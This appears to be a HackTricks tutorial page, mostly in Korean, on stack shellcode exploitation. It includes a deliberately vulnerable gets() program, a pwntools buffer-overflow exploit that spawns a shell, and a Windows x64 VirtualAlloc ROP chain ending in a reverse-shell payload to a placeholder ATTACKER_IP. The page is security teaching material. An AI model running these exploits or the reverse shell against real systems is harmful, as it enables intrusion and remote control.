Stack Shellcode

Reading time: 7 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

Stack shellcode은 공격자가 취약한 프로그램의 스택에 shellcode를 쓰고, 이후 Instruction Pointer (IP) 또는 **Extended Instruction Pointer (EIP)**를 이 shellcode의 위치로 변경해 실행시키는 binary exploitation에서 사용되는 기법입니다. 이는 대상 시스템에서 무단 접근을 얻거나 임의의 명령을 실행하기 위한 고전적인 방법입니다. 아래에는 간단한 C 예제와 Python의 pwntools를 사용해 대응하는 exploit를 작성하는 방법을 포함한 과정의 개요가 있습니다.

C 예제: 취약한 프로그램

취약한 C 프로그램의 간단한 예제로 시작하겠습니다:

c
#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

이 프로그램은 gets() 함수 사용으로 인해 버퍼 오버플로우 취약점이 있습니다.

컴파일

여러 보호 기능을 비활성화하여(취약한 환경을 시뮬레이션하기 위해) 이 프로그램을 컴파일하려면 다음 명령어를 사용하세요:

sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: 스택 보호를 비활성화합니다.
  • -z execstack: 스택을 실행 가능하게 만듭니다. 이는 스택에 저장된 shellcode를 실행하기 위해 필요합니다.
  • -no-pie: Position Independent Executable을 비활성화하여 shellcode가 위치할 메모리 주소를 예측하기 쉽게 만듭니다.
  • -m32: 프로그램을 32-bit 실행 파일로 컴파일합니다. exploit 개발에서 단순성을 위해 자주 사용됩니다.

Pwntools를 사용한 Python Exploit

다음은 pwntools를 사용하여 ret2shellcode 공격을 수행하는 Python exploit을 작성하는 방법입니다:

python
from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

이 스크립트는 NOP slide, shellcode로 구성된 payload를 만들고, 이어서 EIP를 NOP slide를 가리키는 주소로 덮어써 shellcode가 실행되도록 보장합니다.

The NOP slide (asm('nop'))는 실행이 정확한 주소와 관계없이 우리 shellcode로 "slide"할 확률을 높이기 위해 사용됩니다. p32() 인수를 버퍼 시작 주소에 적절한 오프셋을 더한 값으로 조정하여 NOP slide에 도달하도록 하세요.

Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)

현대 Windows에서는 stack이 non-executable (DEP/NX) 입니다. stack BOF 이후에도 stack-resident shellcode를 실행하기 위한 일반적인 방법은 64-bit ROP 체인을 구성하여 모듈의 Import Address Table (IAT)에 있는 VirtualAlloc (또는 VirtualProtect)을 호출해 stack의 영역을 실행 가능하도록 만들고, 체인 뒤에 붙인 shellcode로 리턴하는 것입니다.

Key points (Win64 calling convention):

  • VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
  • RCX = lpAddress → 현재 stack (e.g., RSP)에서 주소를 선택하여 새로 할당된 RWX 영역이 payload와 겹치게 한다
  • RDX = dwSize → chain + shellcode를 담기 충분히 큰 값 (e.g., 0x1000)
  • R8 = flAllocationType = MEM_COMMIT (0x1000)
  • R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
  • Return directly into the shellcode placed right after the chain.

Minimal strategy:

  1. ASLR 하에서 gadget과 IAT의 절대 주소를 계산하기 위해 모듈 베이스를 leak(예: format-string, object pointer 등)을 통해 획득한다.
  2. RCX/RDX/R8/R9를 로드할 수 있는 gadgets(pop 또는 mov/xor 기반 시퀀스)과 call/jmp [VirtualAlloc@IAT]를 찾는다. 만약 pop r8/r9가 직접 없다면 산술 gadgets를 사용해 상수를 합성한다(예: r8=0으로 설정한 뒤 r9에 0x40을 40번 더해 0x1000을 만든다).
  3. stage-2 shellcode를 체인 바로 뒤에 배치한다.

Example layout (conceptual):

# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET    # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----

제한된 gadget 세트로 register 값을 간접적으로 구성할 수 있습니다. 예를 들어:

  • mov r9, rbx; mov r8, 0; add rsp, 8; ret → r9을 rbx에서 설정하고, r8을 0으로 만들며, 쓰레기 qword로 스택을 보정합니다.
  • xor rbx, rsp; ret → 현재 스택 포인터로 rbx를 설정합니다.
  • push rbx; pop rax; mov rcx, rax; ret → RSP로부터 유도된 값을 RCX로 이동합니다.

Pwntools 스케치 (given a known base and gadgets):

python
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000  # example: resolve via reversing
rop  = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))

팁:

  • VirtualProtect는 기존 버퍼를 RX로 만드는 것이 더 적합한 경우 비슷하게 동작합니다; 매개변수 순서만 다릅니다.

  • stack 공간이 빡빡하면 RWX를 다른 곳에 할당(RCX=NULL)하고 스택을 재사용하지 말고 그 새 영역으로 jmp하세요.

  • RSP를 조정하는 gadgets(e.g., add rsp, 8; ret)을 항상 고려하여 junk qwords를 삽입하세요.

  • ASLR 비활성화되어야 합니다. 그렇지 않으면 주소가 실행 간 신뢰할 수 없어서 함수가 저장될 주소가 항상 같지 않으며 win 함수가 어디에 로드되었는지 알아내려면 어떤 leak가 필요합니다.

  • Stack Canaries 또한 비활성화되어야 합니다. 그렇지 않으면 손상된 EIP 반환 주소가 결코 실행되지 않습니다.

  • NX stack protection은 스택 내부의 shellcode 실행을 방지합니다. 해당 영역이 실행 불가능하기 때문입니다.

기타 예제 및 참고자료

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기